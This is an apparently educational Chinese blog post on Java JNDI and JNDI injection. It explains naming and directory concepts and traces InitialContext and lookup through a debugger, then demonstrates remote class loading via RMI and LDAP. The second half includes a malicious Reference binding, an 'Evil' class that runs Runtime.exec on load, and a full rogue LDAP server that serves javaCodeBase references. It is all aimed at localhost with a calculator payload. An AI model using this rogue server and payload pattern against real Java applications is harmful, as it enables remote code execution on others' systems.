JNDI注入初探
JNDI注入学习
什么是JNDI
Java Naming Directory Interface,Java命名和目录接口,是SUN公司提供的一种标准的Java命名系统接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI可访问的现有目录及服务包括:JDBC(Java 数据库连接)、LDAP(轻型目录访问协议)、RMI(远程方法调用)、DNS(域名服务)、NIS(网络信息服务)、CORBA(公共对象请求代理系统结构)
Naming Service
命名服务是将名称和对象进行关联,通过名称找到对象例如:
- DNS将计算机名和IP地址进行绑定关联
- RMI协议我们可以通过名称查找并调用远程对象
在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持引用
命名服务重要的概念
Bindings
:表示一个名称和对应对象的绑定关系Context
:上下文 。一个上下文对应着一组名称到对象的绑定关系, 我们可以在指定上下文中查找名称对应的对象。 比如在文件系统中 一个目录就是一个上下文 可以在该目录中查找文件References
:在实际的名称服务中有些对象可能无法直接存储在系统内, 这时便以引用
的形式进行存储, 引用中包含了获取实际对象所需的信息
比如文件系统中实际根据名称打开的文件是一个整数fd(file descriptor)
Context
命名服务在初始化上下文的时候,需要使用Context接口中的定义的变量,INITIAL_CONTEXT_FACTORY
和PROVIDER_URL
-
INITIAL_CONTEXT_FACTORY:是保存环境属性名称的一个常量,值一般为完全限定类名,用于
指定初始化上下文工厂
-
PROVIDER_URL:是保存环境属性名称的一个常量,值一般为一个url字符串,用于
指定服务提供者使用的服务配置
简单演示ldap的上下文环境变量的设置
Directory Service
目录服务是一个扩展了命名服务功能的服务,能够将名字映射到对象,还能为这些对象提供与之关联的属性(Attributes)
相关概念:
- Attribute:属性。一个目录对象可以包含属性。一个属性具有一个属性标识符和一系列属性值
- Search Filter:查找过滤器。通常还提供通过目录对象的属性来查找对象的操作。这种的查找一般通过规定的表达式来表示,称之为查找过滤器。
我们不仅根据名称去查找对象(lookup)获取对应的属性,还可以根据属性值去搜索对象。
常见的目录服务有
- LDAP: 轻量目录访问协议
- Active Directory :为Windows域网络设计,包含多个目录服务,比如域名服务、证书服务等。
- 其他基于X.500(目录服务的标准)实现的目录服务。
JNDI SPI
SPI:(Service Provider Interface),服务供应接口,主要作用为底层的具体目录服务提供统一的接口
JNDI 支持访问多种不同类型的命名和目录服务,下面是 JDK 中常见的几种内置的命名目录服务:
-
DNS(Domain Name System)
:JNDI 可以访问 DNS 服务,通过 DNS 查找主机名和 IP 地址等。
-
LDAP(Lightweight Directory Access Protocol)
:JNDI 支持访问 LDAP 目录服务,LDAP 是一种基于目录的服务协议,通常用于存储和查询组织的人员、资源等信息。
-
RMI(Remote Method Invocation
)注册表:通过 JNDI,Java 程序可以访问 RMI 注册表,RMI 注册表是一个目录服务,它存储了可供远程调用的对象的引用。
-
CORBA(Common Object Request Broker Architecture)
:JNDI 也支持通过 CORBA 名称服务来查找分布式对象。
JNDI结构
JNDI的接口位于下述的5个包
javax.naming
:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类,(包括了javax.naming.Context
,javax.naming.InitialContext
,分别是用于设置 jndi 环境变量和初始化上下文。)javax.naming.directory
:主要用于目录操作,它定义了DirContext接口和InitialDir-Context类javax.naming.event
:在命名目录服务器中请求事件通知javax.naming.ldap
:提供LDAP服务支持javax.naming.spi
:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务
InitialContext类
构造方法:
- InitialContext():构建一个初始上下文
- InitialContext(boolean lazy):构造一个初始上下文,并选择不初始化它
- InitialContext(Hashtable environment)使用提供的环境初始上下文
InitialContext initialContext = new InitialContext();
常用方法:
- bind(Name name,Object obj):将名称绑定到对象
- list(String name):枚举在命名上下文绑定的名称以及绑定到他们的对象的类名
- lookup(String name):检索命名对象
- rebind(String name ,Object obj):将名称绑定到对象,覆盖任何现有的绑定
- unbind(String name):取消绑定命名对象
Reference类
简单来说,reference类就是用于表示对那些不直接存储在命名和目录路径的对象
的引用。也就是给那些无法存储在目录中的对象,提供一种方式,包含足够的信息(类名、构造参数、工厂类)以便在需要时重新构建对象
常用的构造方法
//为类名为“className”的对象构造一个新的引用。
Reference(String className)
//为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr)
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
Reference(String className, String factory, String factoryLocation)
Reference reference = new Reference(
MyService.class.getName(), // 被引用对象的类名
new StringRefAddr("message", myService.getMessage()), // 引用的附加数据
"com.example.MyServiceFactory", // 用于创建对象的工厂类
null // 可选的参数
);
//className为远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载
//factory为工厂类名
//factoryLocation为工厂类加载的地址,可以是file://、ftp://、http:// 等协议
Reference可以使用工厂来构造对象,当使用lookup查找对象时,Reference将使用提供的工厂类加载地址来加载工厂类,工厂类将构造出需要的对象,可以从远程加载地址来加载工厂类
但是在RMI中使用Reference的时候需要使用, ReferenceWrapper来包裹一下,Reference就可以知道原因,查看到Reference并没有实现Remote
接口也没有继承 UnicastRemoteObject
类,前面讲RMI
的时候说过,将类注册到Registry
需要实现Remote
和继承UnicastRemoteObject
类。这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper
将他给封装一下
Reference reference = new Reference("refClassName","FactoryClassName",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
ctx.bind("refObj", wrapper);
JNDI代码演示
JNDI-RMI
首先我们得先启动我们的rmi服务
package jndi;
import rmi.RMIinterface;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;
public class JNDI_RMI {
public static void main(String[] args) throws Exception {
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context initialContext = new InitialContext(env);
RMIinterface o = (RMIinterface) initialContext.lookup("call");
System.out.println(o.hello());
}
}
首先要告诉JNDI我们需要他做什么
Hashtable<String, String> env = new Hashtable<>();
//这里也可以使用Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
这里设置我们的环境变量,jndi知道我们访问的服务类型和服务的路径。
Context initialContext = new InitialContext(env);
初始化上下文
我们这里是提前设置好了我们的环境变量,如果没有提前设置的话,我们也可以使用
通过全局配置环境变量 System.setProperty
这样参数就可以为空
System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL,"rmi://localhost:1099");
InitialContext initialContext = new InitialContext();
然后就是使用lookup函数去寻找远程对象的代理类
RMIinterface o = (RMIinterface) initialContext.lookup("Erin");
System.out.println(o.hello());
JNDI-CORBA
import org.omg.CORBA.*;
import Example.*;
import javax.naming.*;
import java.util.Hashtable;
public class CORBAClient {
public static void main(String[] args) {
try {
// 创建并初始化 ORB
ORB orb = ORB.init(args, null);
// 创建并初始化 JNDI 环境
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.cosnaming.CNCtxFactory");
env.put(Context.PROVIDER_URL, "corbaloc::localhost:1050");
// 创建 JNDI 上下文
InitialContext ctx = new InitialContext(env);
// 从 JNDI 查找 CORBA 对象
RMIinterface rmiObject = (RMIinterface) ctx.lookup("Erin");
// 调用远程方法
System.out.println(rmiObject.hello());
} catch (Exception e) {
e.printStackTrace();
}
}
}
我们还是得提前运行corba服务,进行命名服务的绑定。
JNDI-DNS
还是使用我们之前的代码,这里需要使用的公用的dns解释器 dns://223.5.5.5
。
package jndi;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;
public class JNDI_DNS {
public static void main(String[] args) throws Exception {
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
env.put(Context.PROVIDER_URL, "dns://223.5.5.5");
Context initialContext = new InitialContext(env);
Context context = new InitialDirContext(env);
Object res = context.lookup("www.baidu.com");
System.out.println(res);
}
}
//com.sun.jndi.dns.DnsContext@4dc63996
这里输出的是
通过这个就可以看出这个是对象,我们DNS解析出来的ip属于是对象的属性值。
我们需要使用目录服务来解决属性问题,目录服务允许目录对象具有属性
DirContext dircontext = new InitialDirContext(env);
Attributes res = dircontext.getAttributes("www.baidu.com", new String[] {"AAAA"});
System.out.println(res);
有关DNS的相关记录查询
- A:IPv4 地址记录。
- AAAA:IPv6 地址记录。它类似于
A
记录,但用于解析为 IPv6 地址。- MX:邮件交换记录(Mail Exchange Record)。它用于指定邮件服务器的域名。
- CNAME:别名记录(Canonical Name Record)。它将一个域名指向另一个域名。
- NS:名称服务器记录(Name Server Record)。它指定负责管理某个域名的 DNS 服务器。
- PTR:指针记录(Pointer Record)。它用于反向 DNS 查找,将 IP 地址映射到域名。
- SOA:起始授权记录(Start of Authority Record)。它提供关于域名的管理信息。
JNDI调试分析
环境准备阶段
首先我们从初始化上下文这里
Context initialContext=new InitialContext(env);
进入这个初始化方法,发现首先对这个环境进行了clone()
,这里前后的环境没有发生变化
进入环境初始化,查看这里面调用
第一步这里调用了我们的ResourceManager的getInitialEnvironment方法初始化我们的环境
发现这里面是调用了我们的VersionHelper这个类里面的常量,实际就是我们命令服务的常见接口
我们这个props的值记录了这七个接口,然后通过get方法来获取我们的APPLET参数,由于我们只是传入了只有两个值,所以这里的applet这个参数为null。
后面通过将属性转换为helper属性,然后获取我们jndi的属性,通过这个方法返回了一个数组,里面的值为null
这里进行了遍历将属性值放入了数组里面,最后将数组里面的值通过键值对的形式去写入我们的环境变量里面。
返回我们的init方法的时候发现 myProps
的值变化成了我们设置的两个环境变量
加载工厂类阶段
第二步的if语句(myProps.get(Context.INITIAL_CONTEXT_FACTORY) != null
)就是首先判断Context.INITIAL_CONTEXT_FACTORY
这个工厂类是否为空,显然我们这里设置了不为空。
进入 getDefaultInitCtx()
方法,首先这里调用NamingManager.getInitialContext方法传入myProps环境值
获取我们用户设置的工厂类,如果我们的工厂类不存在的话这里就会直接抛出异常,后面就不会加载我们的工厂类
这里就是在实例化我们的工厂类
这个factory是最开始设置的InitialContextFactory类型的工厂类,这里也可以看到我们加载出来的就是RegistryContextFactory,显然这个类也是继承了我们的InitialContextFactory的
这一步就根据我们提供的INITIAL_CONTEXT_FACTORY
来加载我们的到底是哪一种服务的工厂类
解析服务地址
调用RegistryContextFactory对象的getInitialContext方法,传入环境变量
继续跟进来到getInitCtxURL方法,可以看到这里是获取我们服务地址的地方,也就是我们的rmi://localhost:1099
然后我们跟进到URLToContext方法,显然这里是调用了我们的工厂实例化代码,然后实例化了我们的对象
跟进getobjectInstance方法会发现,这里通过getUsingURL来实例化我们的rmi对象
然后这个方法调用了我们的lookup函数,对象虽然是rmiURLContext但是实际上是父类的lookup函数
这个lookup函数最后就找到了RegistryContext的lookup方法
这里初始化了一个新的RegistryContext,里面构造方法参数包括下面这些
RegistryContext(RegistryContext var1) {
this.environment = (Hashtable)var1.environment.clone();
this.registry = var1.registry;
this.host = var1.host;
this.port = var1.port;
this.reference = var1.reference;
}
可以看到这里实际上就创建了我们的远程通信对象,我们看一看返回的是什么
结合上面的我们就清楚了,后面就是返回初始化的对象。
上面就完成了我们初始化,完成了对我们两个环境的加载,加载了远程通信所需要的host
和env
等等。
调用的堆栈有下面这些
转换为思维导图
JNDI动态协议转换
测试代码
package example;
import javax.naming.InitialContext;
public class jndi_active {
public static void main(String[]args) throws Exception{
String string = "rmi://localhost:1090/hello";
InitialContext initialContext = new InitialContext();
IHello ihello = (IHello) initialContext.lookup(string);
System.out.println(ihello.sayHello("tammy66"));
}
}
源码分析
这里我们没有详细提供我们的context内容,但是通过lookup还是正确加载了我们的rmi服务,这里我们调试分析一下原理
首先会进入这个InitialContext#lookup方法,里面的getURLOrDefaultInitCtx这个方法
跟进之后这个方法
会发现这里面有一个getURLScheme
的方法,跟进一手。会发现这里实际上就是把我们的参数通过截断的方式来获取我们的通信服务是什么,这里明显返回的就是rmi。
然后就又到了我们之前的NamingManager这个类,然后我们分析看一看
这里有我们之前获取到的rmi参数传入了这个方法里面,通过函数名感觉是获取URL类,继续跟进
这里通过ResourceManager#getFactory就获取到了我们的工厂类,通过的是我们的defaultPkgPrefix
属性值来动态生成.
这里很明显了,如果我们能够控制我们的String,就能够搭建远程服务,导致远程的class文件加载成功,后面进而导致远程代码执行。
命名引用服务(Reference类)
Reference类表示对存在于命名/目录系统以外的对象的引用,当我们获取摸一个服务的时候如果出现我们的reference类或者reference类的子类的时候就可以通过客户端保留的远程服务器的存根(stub)然后加载我们的远程类,和rmi的codebase类似
通过构造恶意的reference类,通过jndi来远程加载这个类就可以完成我们的目标(高版本的jdk禁用了远程加载类,)
Reference基本构造
//className为远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载
//factory为工厂类名
//factoryLocation为工厂类加载的地址,可以是file://、ftp://、http:// 等协议
Reference(String className, String factory, String factoryLocation)
JNDI注入
JNDI-rmi
我们在本地启动一个rmi服务器,调用这个服务
然后书写一个demo的reference类来加载我们的远程恶意类
public class JndiReferenceExample {
public static void main(String[] args) {
try {
// 配置 JNDI 环境
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1090"); // 本地 RMI Registry
Context context = new InitialContext(env);
// 定义 Reference
String className = "com.example.RemoteClass";
String factory = "com.example.Evil";
String factoryLocation = "http://127.0.0.1:8090/";
Reference reference = new Reference(className, factory, factoryLocation);
// 绑定和查找
String jndiName = "remoteObject";
context.rebind(jndiName, reference);
Object obj = context.lookup(jndiName);
System.out.println("从 JNDI 中查找到的对象: " + obj);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
这里com.example下的Evil是我们需要访问的恶意类(本地直接使用python在根目录起一个http.server的服务,然后)
Evil.java
import java.io.IOException;
public class Evil {
public Evil() throws IOException {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
static {
try {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
} catch (IOException e) {
e.printStackTrace();
}
}
}
然后运行
具体的流程:客户端 JVM 收到 Reference → 本地找不到 Evil
→ 到127.0.0.1/com/example
下载 Evil.class
→ 类加载时执行(调用lookup)构造器/static 代码块 → RCE
JNDI-ldap
简介
Ldap协议是一种目录服务协议,运行在TCP/IP堆栈上面,由目录数据库和访问协议组成,约定Client和Server之间的信息交互格式,使用的端口号还有认证方式。Ldapserver 一般指的是安装了AD或者OpenLDAP程序的服务器。
在ldap里面访问记录是通过树状的数据结构进行存储的
Dn:一条详细位置
Dc:一条记录的详细位置
ou:一条记录所属的组织
Cn/uid:一条记录的名字
环境准备
ldapserver.java-->启动ldap服务
jndi_ladp.java-->客户端访问Ldap server
Evil.class-->恶意代码
ldapserver.java
package example;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class ldap_server { // 建议类名使用大写开头
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) {
// 建议从命令行参数获取,而不是硬编码
String payloadUrl = "http://127.0.0.1:8888/#Evil";
int port = 1024;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(payloadUrl)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("LDAP server listening on 0.0.0.0:" + port);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
jndi_ladp.java
package jndi;
import javax.naming.InitialContext;
public class JNDI_LDAP {
public static void main(String[]args) throws Exception{
String string = "ldap://localhost:1024/Evil";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}
Evil.java
代码分析
第一部分:加载工厂类的实例化方法
InitialContext#getURLOrDefaultInitCtx
这里首先调用我们的lookup方法
然后跟进此方法,看到出现getURLContext方法,继续跟进
跳转到NamingManager#getURLObject方法
这里面通过getFactory获得了是加载ldap服务,获取工厂类ladpURLContextFactory
然后通过调用工厂类的getObjectInstance来实例化,继续跟进这个方法
ladpURLContextFactory#getObjectInstance
第二部分:调用lookup方法,加载恶意class
刚刚我们的调试是通过跟进InitialContext#getURLOrDefaultInitCtx,下面继续跟进我们的lookup方法
这里的ldapURLContext#lookup会继续向父类调用lookup方法,这个类继承至 GenericURLDirContext
GenericURLDirContext#lookup
此时的this是我们的ladpURLContextFactory这个类,就会继续调用这里面getUsingURLIgnoreRootDN方法,具体的作用就是获取LDAP的基本配置信息
这里返回的是我们的LdapCtx,然后就是继续执行lookup方法
这个getRemaingName方法实际上就是返回我们的url解析剩下的东西,继续跟进到PartialCompositeContext#lookup方法
这个抽象类,至于为什么会跳转到这个类,我发现这个类和上一个类都继承了Context这个接口
笔者理解:GenericURLContext处理我们的url(ladp://localhost:1024/Evil),PartialCompositeContext这个类用来处理上下文
通过跟进到他的自定义方法,p_lookup方法,这个类在ComponentContext#p_lookup方法
这里调用c_lookup方法
这里根据之前的上下文,执行search这里就是去搜索我们的ldap条目
这里就可以看到搜索到了我们的codebase和classname,继续向下调试
这里就会去加载我们的类,具体跟进看看和RMI有没有区别
DirectoryManager#getObjectInstance
两个调用链